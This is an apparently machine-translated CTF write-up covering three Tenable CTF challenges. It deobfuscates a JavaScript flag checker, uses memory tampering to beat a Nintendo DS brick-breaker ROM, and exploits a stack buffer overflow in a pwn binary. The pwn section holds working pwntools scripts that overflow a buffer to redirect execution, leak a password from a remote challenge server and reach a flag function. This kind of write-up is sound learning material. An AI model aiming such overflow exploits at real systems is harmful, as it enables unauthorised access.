This page has been machine-translated from the original page.
I participated in the Tenable CTF, which started on 8/10.
It even included a Nintendo DS binary challenge, which I was trying for the first time, so I had a great time.
Table of Contents
The Javascript One(Rev)
I was given a very long, obfuscated JavaScript file.
var _0x4b0817=_0x3cdb;(function(_0x25abc1,_0x1b11ab){var _0x21dd4f=_0x3cdb,_0x15cf55=_0x25abc1();while(!![]){try{var _0x187219=parseInt(_0x21dd4f(0x1ca))/(0x1389*0x1+0x57b*0x2+-0x1e7e)*(parseInt(_0x21dd4f(0x194))/(-0x1*0x1e08+0xb8e*-0x3+0x40b4))+-parseInt(_0x21dd4f(0x1c2))/(-0x1a7d*0x1+0x952+0x112e)*(-parseInt(_0x21dd4f(0x1a6))/(0xbf6+-0x8*-0x13a+-0x15c2))+parseInt(_0x21dd4f(0x1ad))/(-0x185*-0x1+-0x4*-0x3cf+0xc*-0x165)+parseInt(_0x21dd4f(0x1a2))/(0x20*0x133+-0x7f1*0x4+0x6*-0x119)+parseInt(_0x21dd4f(0x1c9))/(0x1*0xfb6+0x2*0xc83+-0x265*0x11)+parseInt(_0x21dd4f(0x1a7))/(0x25a6+-0x3*-0x621+-0x3801)*(-parseInt(_0x21dd4f(0x1b7))/(-0x18e*-0x16+0x8aa+-0x2b*0xff))+-parseInt(_0x21dd4f(0x1cb))/(0x113e+-0x141c+0x2e8);if(_0x187219===_0x1b11ab)break;else _0x15cf55['push'](_0x15cf55['shift']());}catch(_0x21d777){_0x15cf55['push'](_0x15cf55['shift']());}}}(_0x1393,-0x34942*-0x1+-0xb9ef*0x5+0x21f*0x1a7));var _0x5114=[_0x4b0817(0x185),_0x4b0817(0x1bf),'',_0x4b0817(0x1c6),_0x4b0817(0x1bb),_0x4b0817(0x18f),_0x4b0817(0x1a3),_0x4b0817(0x1a5),_0x4b0817(0x1b5)+_0x4b0817(0x18e),_0x4b0817(0x1a9)+_0x4b0817(0x1a8),_0x4b0817(0x1c3)+_0x4b0817(0x1c4)+_0x4b0817(0x180)+'==',_0x4b0817(0x1ab),_0x4b0817(0x1b1),_0x4b0817(0x1c1)+'MY',_0x4b0817(0x195)+_0x4b0817(0x187),_0x4b0817(0x1d0)+'de',_0x4b0817(0x182)+_0x4b0817(0x1ce),_0x4b0817(0x192)+_0x4b0817(0x1b2),_0x4b0817(0x1d2),_0x4b0817(0x1a0)+'Cv',_0x4b0817(0x186),_0x4b0817(0x1a1)+'I',_0x4b0817(0x181)],_0x7f9546=_0x3e24;(function(_0x2039c6,_0x12f713){var _0x24cab8=_0x4b0817,_0x5ed4a9={'XogTu':function(_0x4afa24){return _0x4afa24();},'yyyaI':function(_0x309c66,_0x17e50c){return _0x309c66+_0x17e50c;},'ZDyDa':function(_0x4d4143,_0x38feb7){return _0x4d4143+_0x38feb7;},'fQYsf':function(_0x423427,_0x4a76cb){return _0x423427+_0x4a76cb;},'XkZxe':function(_0x1c2500,_0x211bd6){return _0x1c2500+_0x211bd6;},'YtPFU':function(_0x4f310c,_0x29107b){return _0x4f310c+_0x29107b;},'LElVZ':function(_0x4da361,_0x3d844a){return _0x4da361*_0x3d844a;},'lthNi':function(_0x254f36,_0x4036b9){return _0x254f36/_0x4036b9;},'FnyYM':function(_0x2a6bae,_0x131a5f){return _0x2a6bae(_0x131a5f);},'cqLDK':function(_0x3484d5,_0x10daef){return _0x3484d5/_0x10daef;},'XAodd':function(_0x53a610,_0x6585ab){return _0x53a610(_0x6585ab);},'GGhhk':function(_0x3c1e55,_0xbe132){return _0x3c1e55(_0xbe132);},'Yfgkk':function(_0x12798b,_0x49e92a){return _0x12798b/_0x49e92a;},'TLayY':function(_0x1f8df0,_0x3ee29e){return _0x1f8df0(_0x3ee29e);},'LtDWI':function(_0x47290d,_0x84e5f8){return _0x47290d/_0x84e5f8;},'MDSIC':function(_0x30a462,_0x10fac8){return _0x30a462(_0x10fac8);},'UeUNF':function(_0x101122,_0x37e9b8){return _0x101122(_0x37e9b8);},'RzOAR':function(_0x28b535,_0x2464c0){return _0x28b535*_0x2464c0;},'yZQwd':function(_0x30521b,_0x45abb4){return _0x30521b(_0x45abb4);},'fDKaB':function(_0x104758,_0x2e7690){return _0x104758(_0x2e7690);},'pepyh':function(_0x48c45c,_0x23453a){return _0x48c45c(_0x23453a);},'HVjXx':function(_0x53995d,_0x1b9ace){return _0x53995d*_0x1b9ace;},'Srhqn':function(_0x4d9b65,_0x4ea57c){return _0x4d9b65(_0x4ea57c);},'jxjuK':function(_0x463d38,_0x1f421e){return _0x463d38(_0x1f421e);},'fdNFC':function(_0x3a2fbc,_0x5346bd){return _0x3a2fbc/_0x5346bd;},'ATFpB':function(_0x59f6d4,_0x1f38ec){return _0x59f6d4(_0x1f38ec);},'FFiHo':function(_0xf255bd,_0x372bf7){return _0xf255bd(_0x372bf7);},'paKiw':function(_0xb10021,_0x2498ab){return _0xb10021/_0x2498ab;},'BdmMA':function(_0x3b30df,_0x7ddaf0){return _0x3b30df(_0x7ddaf0);},'QisZw':function(_0x18ad87,_0xccfe22){return _0x18ad87*_0xccfe22;},'XxhbU':function(_0x17c2b,_0x1845c8){return _0x17c2b/_0x1845c8;},'Epuem':function(_0x272c9f,_0x29ef26){return _0x272c9f===_0x29ef26;}},_0x2ea0a6=_0x3e24,_0x35cb0d=_0x5ed4a9[_0x24cab8(0x1b8)](_0x2039c6);while(!![]){try{var _0xcf8c8d=_0x5ed4a9[_0x24cab8(0x188)](_0x5ed4a9[_0x24cab8(0x188)](_0x5ed4a9[_0x24cab8(0x1ae)](_0x5ed4a9[_0x24cab8(0x17e)](_0x5ed4a9[_0x24cab8(0x1b0)](_0x5ed4a9[_0x24cab8(0x1bd)](_0x5ed4a9[_0x24cab8(0x1a4)](_0x5ed4a9[_0x24cab8(0x197)](_0x5ed4a9[_0x24cab8(0x189)](parseInt,_0x5ed4a9[_0x24cab8(0x189)](_0x2ea0a6,0xe7a+-0xfcd+-0x25f*-0x1)),0x1aa2+-0x74*0x25+-0x1*0x9dd),_0x5ed4a9[_0x24cab8(0x18b)](_0x5ed4a9[_0x24cab8(0x196)](parseInt,_0x5ed4a9[_0x24cab8(0x19f)](_0x2ea0a6,-0x2659+-0x1*0x1e59+-0x45c5*-0x1)),-0xf77*-0x2+0xd0d+-0x2bf9*0x1)),_0x5ed4a9[_0x24cab8(0x198)](-_0x5ed4a9[_0x24cab8(0x196)](parseInt,_0x5ed4a9[_0x24cab8(0x1aa)](_0x2ea0a6,0x29+0x249f+-0x23bb)),0x1030+-0x223f+0x202*0x9)),_0x5ed4a9[_0x24cab8(0x1b3)](_0x5ed4a9[_0x24cab8(0x199)](parseInt,_0x5ed4a9[_0x24cab8(0x19b)](_0x2ea0a6,0x229e+-0xac2+-0x16ce)),-0x1*-0x16aa+0x531+-0x1bd7)),_0x5ed4a9[_0x24cab8(0x19e)](_0x5ed4a9[_0x24cab8(0x198)](-_0x5ed4a9[_0x24cab8(0x1aa)](parseInt,_0x5ed4a9[_0x24cab8(0x193)](_0x2ea0a6,0x32f*0xc+-0x4b6+-0x2075)),-0x5*0x722+0x1d10+-0x71*-0xf),_0x5ed4a9[_0x24cab8(0x18b)](-_0x5ed4a9[_0x24cab8(0x1c5)](parseInt,_0x5ed4a9[_0x24cab8(0x1b4)](_0x2ea0a6,0x260e*0x1+0xd46+-0x3240)),0x67*-0x17+0x74c*-0x4+0x2677))),_0x5ed4a9[_0x24cab8(0x1ba)](_0x5ed4a9[_0x24cab8(0x1b3)](-_0x5ed4a9[_0x24cab8(0x18a)](parseInt,_0x5ed4a9[_0x24cab8(0x1c8)](_0x2ea0a6,0x1*-0x1f42+0x2611*-0x1+0x4668)),-0x1155+-0x1*-0x1369+-0x20d),_0x5ed4a9[_0x24cab8(0x183)](_0x5ed4a9[_0x24cab8(0x1d1)](parseInt,_0x5ed4a9[_0x24cab8(0x17d)](_0x2ea0a6,0xf4*-0x3+0x33*-0x47+0x3*0x608)),-0x79*0x27+-0x3*-0x1be+0xd3d*0x1))),_0x5ed4a9[_0x24cab8(0x184)](_0x5ed4a9[_0x24cab8(0x17d)](parseInt,_0x5ed4a9[_0x24cab8(0x1b9)](_0x2ea0a6,0x269d+-0x24e3+-0x22*0x5)),0xee8+-0x1f86+0x10a7)),_0x5ed4a9[_0x24cab8(0x1ac)](_0x5ed4a9[_0x24cab8(0x184)](-_0x5ed4a9[_0x24cab8(0x189)](parseInt,_0x5ed4a9[_0x24cab8(0x193)](_0x2ea0a6,0x1*0x713+0x90f*-0x4+-0x1*-0x1e41)),0xeaf+0x1874+-0x1*0x2719),_0x5ed4a9[_0x24cab8(0x1cd)](_0x5ed4a9[_0x24cab8(0x196)](parseInt,_0x5ed4a9[_0x24cab8(0x1c8)](_0x2ea0a6,-0x1*-0x11c3+-0xa7*0x7+-0xc19)),0x1c1e+-0x4*0x664+-0x283)));if(_0x5ed4a9[_0x24cab8(0x190)](_0xcf8c8d,_0x12f713))break;else _0x35cb0d[_0x5114[-0x1690+0x25f9+-0xf68]](_0x35cb0d[_0x5114[0xb41*-0x1+0x223*0x8+-0x5d7]]());}catch(_0x1a4061){_0x35cb0d[_0x5114[0x1ebd+0xb*0x5+0x1ef3*-0x1]](_0x35cb0d[_0x5114[-0x14bc+0x17cd+0x311*-0x1]]());}}}(_0x2a8b,0x595*0x128+-0x5808+-0x1337a));function _0x3e24(_0x56ccee,_0x54f27c){var _0x1811c7=_0x4b0817,_0x295265={'ehwdC':function(_0x5a6221,_0x399f0d){return _0x5a6221-_0x399f0d;},'skamI':function(_0x4896f4){return _0x4896f4();},'FlluK':function(_0x1d7300,_0x570086,_0x467f44){return _0x1d7300(_0x570086,_0x467f44);}},_0x5388f8=_0x295265[_0x1811c7(0x18d)](_0x2a8b);return _0x3e24=function(_0x42bf11,_0x12aaa8){var _0x4775d2=_0x1811c7;_0x42bf11=_0x295265[_0x4775d2(0x191)](_0x42bf11,-0xcea+-0xc08+-0x3*-0x8a9);var _0x4805b5=_0x5388f8[_0x42bf11];return _0x4805b5;},_0x295265[_0x1811c7(0x18c)](_0x3e24,_0x56ccee,_0x54f27c);}var flag=_0x7f9546(0x132d*-0x1+0xc6f*0x2+0x3*-0x18d);function _0x1393(){var _0xe03e2e=['paKiw','shift','6nMpKMt','aqE','yyyaI','FnyYM','Srhqn','cqLDK','FlluK','skamI','mKB','reverse','Epuem','ehwdC','Not\x20implem','yZQwd','2kMQraK','2282352jiO','XAodd','lthNi','Yfgkk','MDSIC','FmpvA','UeUNF','oQUxU','avbDa','RzOAR','GGhhk','236046XdgO','48517AjJpR','2248020VDmzGa','424erSbWD','LElVZ','50VJNKtb','4996gCHKLM','387064uVnprw','Jlj','2681065Vjg','TLayY','split','QisZw','314000fQcnwx','ZDyDa','PvOKR','XkZxe','3IoFoig','ented.','LtDWI','pepyh','2285525hAx','qvVmj','9guhgOr','XogTu','BdmMA','HVjXx','charCodeAt','jSHtH','YtPFU','vOOEr','push','mbDZk','310080UgNx','123tzQtJD','Zm1jZH92N2','tkcFVhbXs6','fDKaB','length','FcKRF','jxjuK','2490096jpjurH','142439ZMbchO','7314070bHQAMC','FkhwG','XxhbU','WRq','GHSLi','fromCharCo','ATFpB','join','EZnJl','eylpU','FFiHo','fQYsf','PSMEK','fHNjI2NgaA','log','3333978wBY','fdNFC'];_0x1393=function(){return _0xe03e2e;};return _0x1393();}function validateFlag(_0x1dd864){var _0x33275d=_0x4b0817,_0x3c0709={'vOOEr':function(_0x2d9486,_0x35b810){return _0x2d9486(_0x35b810);},'GHSLi':function(_0x23567d,_0x28c3a7){return _0x23567d(_0x28c3a7);},'PSMEK':function(_0x5b7ded,_0x32f3cd){return _0x5b7ded(_0x32f3cd);},'EZnJl':function(_0x47ef0d,_0x4092ed){return _0x47ef0d===_0x4092ed;},'oQUxU':function(_0x46111c){return _0x46111c();}},_0x3de655=_0x3c0709[_0x33275d(0x1be)](reverseFlag,_0x1dd864),_0xf4a196=_0x3c0709[_0x33275d(0x1cf)](encryptFlag,_0x3de655),_0x4269fd=_0x3c0709[_0x33275d(0x17f)](decryptFlag,_0xf4a196);return _0x3c0709[_0x33275d(0x1d3)](_0x4269fd,_0x3c0709[_0x33275d(0x19c)](getSolution));}function reverseFlag(_0x5aa062){var _0x20cbfc=_0x4b0817,_0x2a64bc={'qvVmj':function(_0x2de971,_0x489884){return _0x2de971(_0x489884);},'avbDa':function(_0x283f8d,_0x5512cf){return _0x283f8d(_0x5512cf);}},_0x47f56d=_0x7f9546;return _0x5aa062[_0x2a64bc[_0x20cbfc(0x1b6)](_0x47f56d,0x7*-0x19+0x1a1d+-0x1863)](_0x5114[0x21ad+0x527*-0x5+-0x7e8])[_0x2a64bc[_0x20cbfc(0x1b6)](_0x47f56d,-0x605*-0x6+-0x317*0xb+-0x59*0x3)]()[_0x2a64bc[_0x20cbfc(0x19d)](_0x47f56d,0x28*0xdc+-0x819*-0x3+-0x1*0x3999)](_0x5114[0x4*0x529+0x7c*0x49+0x12aa*-0x3]);}function encryptFlag(_0xbf47e0){var _0x544acc=_0x4b0817,_0x3b452a={'FkhwG':function(_0x51232f,_0x5aa8bc){return _0x51232f<_0x5aa8bc;},'FmpvA':function(_0x6f16c8,_0x471210){return _0x6f16c8^_0x471210;},'eylpU':function(_0xf9e80b,_0x2d8527){return _0xf9e80b(_0x2d8527);},'jSHtH':function(_0x48ef2f,_0x58bfa4){return _0x48ef2f(_0x58bfa4);}},_0x3eca0a=_0x7f9546,_0x381330=_0x5114[-0xe72+0x467+0xa0d*0x1];for(var _0x191b0f=0x12*-0x12e+-0x1c6e+0x31aa;_0x3b452a[_0x544acc(0x1cc)](_0x191b0f,_0xbf47e0[_0x5114[-0x9ec+-0x181f+0x5ad*0x6]]);_0x191b0f++){var _0x2bc446=_0xbf47e0[_0x5114[0x5*-0x5fd+-0x1*0x135d+-0xd6*-0x3b]](_0x191b0f),_0x5e8a75=_0x3b452a[_0x544acc(0x19a)](_0x2bc446,_0x191b0f);_0x381330+=String[_0x3b452a[_0x544acc(0x1d4)](_0x3eca0a,-0x25b*-0xc+-0x10f1+0x36c*-0x3)](_0x5e8a75);};return _0x3b452a[_0x544acc(0x1bc)](btoa,_0x381330);}function decryptFlag(_0x95b280){var _0x59fee7=_0x4b0817,_0x2324b3={'FcKRF':function(_0x1e3d30,_0x200e95){return _0x1e3d30(_0x200e95);}},_0x590411=_0x7f9546;return _0x2324b3[_0x59fee7(0x1c7)](_0x590411,0x1e3*-0x8+0x1e30+-0x15*0xab);}function getSolution(){var _0x4574b1=_0x4b0817,_0x130e77={'mbDZk':function(_0xde9ecc,_0x43f111){return _0xde9ecc(_0x43f111);}},_0x153882=_0x7f9546;return _0x130e77[_0x4574b1(0x1c0)](_0x153882,-0x92*0x28+-0x14*-0x65+0xffd);}function _0x3cdb(_0x381052,_0x232c3a){var _0x5b708f=_0x1393();return _0x3cdb=function(_0x21facc,_0x5b9257){_0x21facc=_0x21facc-(-0x661+-0x1*-0xa21+-0xc1*0x3);var _0x56da0f=_0x5b708f[_0x21facc];return _0x56da0f;},_0x3cdb(_0x381052,_0x232c3a);}function _0x2a8b(){var _0x352dcd=_0x4b0817,_0x44c662={'PvOKR':function(_0x257e73){return _0x257e73();}},_0x2d270d=[_0x5114[-0x1*0x579+-0x1eff+0x247d],_0x5114[0x2*-0x11f1+-0x1*-0x1289+-0x115f*-0x1],_0x5114[-0x190+-0x1*-0x149+0x27*0x2],_0x5114[0x9*0x39e+-0x1a93+-0x1*0x5f3],_0x5114[0x1be3+0x164b+-0x3225],_0x5114[0x25c+-0x1*0xa0b+0x1*0x7b9],_0x5114[0x14bf*0x1+0xa1*-0x1+0x3*-0x6b1],_0x5114[-0x1*-0x1915+-0x1*-0x2381+0x11f*-0x36],_0x5114[0x173f+0x7a8+-0x16*0x167],_0x5114[-0xacb+-0x3d9+0xeb2],_0x5114[0x1*0xb25+-0xc52+-0x1*-0x13c],_0x5114[-0x16a0+-0x35*-0xa1+-0xaa5],_0x5114[0x266e+0x29*-0x39+0x1d3c*-0x1],_0x5114[0x5*-0x48a+0x23ed+-0x3*0x463],_0x5114[0x17*0xff+-0xa*0x71+-0x4*0x49b],_0x5114[-0x1*0x421+-0x1e3a+-0xcd*-0x2b],_0x5114[0x1e45+0x279*0x1+-0x20a9]];return _0x2a8b=function(){return _0x2d270d;},_0x44c662[_0x352dcd(0x1af)](_0x2a8b);}console[_0x5114[0x5*-0x531+-0x1897*0x1+0x32a2]](flag);After formatting it and looking through it, I found that the excerpt below seemed to be involved in generating the flag.
var flag = _0x7f9546(0x132d * -0x1 + 0xc6f * 0x2 + 0x3 * -0x18d);
function encryptFlag(_0xbf47e0) {
var _0x544acc = _0x4b0817,
_0x3b452a = {
FkhwG: function (_0x51232f, _0x5aa8bc) {
return _0x51232f < _0x5aa8bc;
},
FmpvA: function (_0x6f16c8, _0x471210) {
return _0x6f16c8 ^ _0x471210;
},
eylpU: function (_0xf9e80b, _0x2d8527) {
return _0xf9e80b(_0x2d8527);
},
jSHtH: function (_0x48ef2f, _0x58bfa4) {
return _0x48ef2f(_0x58bfa4);
},
},
_0x3eca0a = _0x7f9546,
_0x381330 = _0x5114[-0xe72 + 0x467 + 0xa0d * 0x1];
for (
var _0x191b0f = 0x12 * -0x12e + -0x1c6e + 0x31aa;
_0x3b452a[_0x544acc(0x1cc)](
_0x191b0f,
_0xbf47e0[_0x5114[-0x9ec + -0x181f + 0x5ad * 0x6]],
);
_0x191b0f++
) {
var _0x2bc446 =
_0xbf47e0[_0x5114[0x5 * -0x5fd + -0x1 * 0x135d + -0xd6 * -0x3b]](
_0x191b0f,
),
_0x5e8a75 = _0x3b452a[_0x544acc(0x19a)](_0x2bc446, _0x191b0f);
_0x381330 +=
String[
_0x3b452a[_0x544acc(0x1d4)](
_0x3eca0a,
-0x25b * -0xc + -0x10f1 + 0x36c * -0x3,
)
](_0x5e8a75);
}
return _0x3b452a[_0x544acc(0x1bc)](btoa, _0x381330);
}So I deobfuscated the script above.
After deobfuscating it roughly, I got something like the following.
var _0x544acc = _0x4b0817,
f_dict = {
to_length: function (_0x51232f, _0x5aa8bc) {
return _0x51232f < _0x5aa8bc;
},
xor: function (_0x6f16c8, _0x471210) {
return _0x6f16c8 ^ _0x471210;
},
eylpU: function (_0xf9e80b, _0x2d8527) {
return _0xf9e80b(_0x2d8527);
},
jSHtH: function (_0x48ef2f, _0x58bfa4) {
return _0x48ef2f(_0x58bfa4);
},
},
_0x3eca0a = _0x7f9546,
_0x381330 = '';
for (var i = 0;f_dict["to_length"](i,v_input.length);i++) {
var word = v_input.charCodeAt(i,)
_0x5e8a75 = f_dict["xor"](word, i);
_0x381330 += String.fromCharCode(_0x5e8a75);
}Apparently, it takes the flag string obtained somehow, XORs each character with its index in order from the first character, and then Base64-encodes the result.
So I wrote the following decryption script as-is and was able to obtain the flag.
var flag = ""
var d = atob('Zm1jZH92N2tkcFVhbXs6fHNjI2NgaA==')
for (var i = 0; i < d.length; i++)
{
c = d.charCodeAt(i,)
flag += String.fromCharCode(c ^ i)
}
// flag{s1lly_jav4scr1pt}Brick Breaker(Rev)
Stole some resources from public domain and made a brick breaker clone. Collision detection is bad and it’s pretty hard, but see if you can find the hidden message!
The challenge binary was ctf.nds, and I found that it was a Nintendo DS Slot-2 ROM image (PassMe) binary.
Judging from the name, it appears to be an image that can be used by inserting it into the Game Boy Advance slot on a Nintendo DS. (It was my first time seeing one.)
After looking into it in a bit more detail, I learned that the ROM is actually defined as a byte array, and that it encodes sound, in-game data (such as item information), and executable backend programs.
For the time being, it looked like I would need an emulator to run it, so I investigated and found that the following emulator for Windows seemed usable.
Reference: NoGBA Emulator »
From the description above, it seems that DS (or GBA) programs can be developed in C or C++, which makes them relatively approachable.
The following resources also looked useful for information on game development and reversing.
Reference: GBATEK - GBA/NDS Technical Info
Reference: Reverse Engineering a DS Game - Starcube Labs - Gamedev Blog
First, I decided to unpack the provided ROM file with the above examples as a reference.
However, after unpacking the binary with ndstool and analyzing it in Ghidra, there were simply too many functions and I could not identify where to focus my analysis.
So I decided to start the game using the debug version of No$GBA.
When I launched it in the emulator, I found that it was a very difficult brick-breaker style game.
I was not quite sure what would count as the flag, so I tried progressing through the game for the time being. After clearing the first stage, the following blocks appeared.
Since it started with F, l, it looked like I would be able to obtain the flag by continuing to clear the game.
However, the number of failures in the brick-breaker game accumulates, and if you fail a total of five times your score is reset, so it did not seem possible to obtain the entire flag through normal play.
So I used Cheat Engine to identify and tamper with the memory value that decreased from 5, 4, 3… with each playthrough, which let me get an unlimited number of attempts.
I thought this would let me brute-force every stage, but then I found that once I reached the g in the flag, the stage returned to the beginning.
To avoid the stage resetting at the g, I searched for the memory that stores the stage state.
I initially assumed it would reset with values like 0,1,2,3.. or 1,2,3,4.., so this took me a little while, but the first screen was actually the Restart screen, which meant that the real stages were counted starting from 2.
After investigating the memory that increased with each stage clear, I identified the address that seemed to specify the current stage.
The value at this address reset at 5, so I changed it to 6 or higher and advanced the stage. As a result, I was able to proceed to later stages and obtain the flag as shown below.
Skiddyana Pwnz and the Loom of Fate(Pwn)
Enter an ancient place, contrived beyond reason, and alter the fate of this world.
When you run the challenge binary, you can broadly choose from and execute the following three actions.
- A routine that stores an input string of up to 0x100 bytes in a buffer (contains a BoF vulnerability)
- A routine that outputs the contents of the buffer with
printf("%s",buf) - A routine that copies the contents of the buffer with
strcpywhen the input matches a hardcoded password (the BoF makes ROP possible)
Here, by obtaining the hardcoded password from the challenge binary, it becomes possible to jump to the function that displays the flag with the following input.
# gdb -x solver.py
import gdb
from pprint import pprint
# pprint(dir(gdb))
BINDIR = "./Skiddyana_Pwnz_and_the_Loom_of_Fate"
BIN = "loom"
INPUT = "./in.txt"
OUT = "./out.txt"
BREAK = "0x401494"
gdb.execute('file {}/{}'.format(BINDIR, BIN))
gdb.execute('b *{}'.format(BREAK))
with open(INPUT, "wb") as f:
f.write(b"1\n")
f.write(b"1\n")
f.write(b"A"*(152) + b'\xb6\x12@\x00\x00\x00\x00\x00' + b"\n")
f.write(b"3\n")
f.write(b"thisisnotthepassword\n")
f.write(b"1\n")
gdb.execute('run < {}'.format(INPUT, OUT))However, the binary on the challenge server appeared to have a different hardcoded password, so in order to obtain the flag I first needed to leak the password.
I could tell that I would probably use the second function for the leak, but printf specifies the %s format, so a format string attack did not seem usable, and I felt stuck.
After asking the pwn specialist on our team for help, I learned that even when the input length in the first function exceeds the 0x100 limit, the address of local_10 (the input buffer) is stored in the return value at the following point.
At that point, although exceeding 0x100 prevents the buffer itself from being corrupted, the local stack BoF at the fgets stage still makes it possible to manipulate the return value.
Therefore, by embedding the password address in the return value there, it becomes possible to leak the password when option 2 is called.
In fact, I was able to leak the password with the following code.
from pwn import *
import binascii
import time
elf = ELF("./loom")
context.binary = elf
# Remote
p = remote("0.cloud.chals.io", 33616)
# p = process("./loom")
payload = b"A"*(280) + p64(0x40232a)
print(p.recvline())
r = p.recvuntil(b"4) leave")
print(r)
print(p.recvline())
print(p.recvline())
p.sendline(b"1")
r = p.recvuntil(b"2) Leave")
print(r)
print(p.recvline())
print(p.recvline())
p.sendline(b"1")
p.sendline(payload)
r = p.recvuntil(b"4) leave")
print(r)
print(p.recvline())
print(p.recvline())
p.sendline(b"2")After that, I was able to obtain the flag by using the leaked password in the following solver.
from pwn import *
import binascii
import time
elf = ELF("./loom")
context.binary = elf
# Remote
p = remote("0.cloud.chals.io", 33616)
# p = process("./loom")
# payload = b"A"*(280) + p64(0x40232a)
payload = b"A"*(152) + b'\xb6\x12@\x00\x00\x00\x00\x00'
print(p.recvline())
r = p.recvuntil(b"4) leave")
print(r)
print(p.recvline())
print(p.recvline())
p.sendline(b"1")
r = p.recvuntil(b"2) Leave")
print(r)
print(p.recvline())
print(p.recvline())
p.sendline(b"1")
p.sendline(payload)
r = p.recvuntil(b"4) leave")
print(r)
print(p.recvline())
print(p.recvline())
p.sendline(b"3")
r = p.recvuntil(b"Speak the unpronouncable phrase to pass to the room of fates :")
print(r)
print(p.recvline())
p.sendline(b"QjVHST7M11cY7Ws6mXU1")
r = p.recvline()
r = p.recvuntil(b"2) No")
print(r)
print(p.recvline())
print(p.recvline())
p.sendline(b"1")
p.interactive()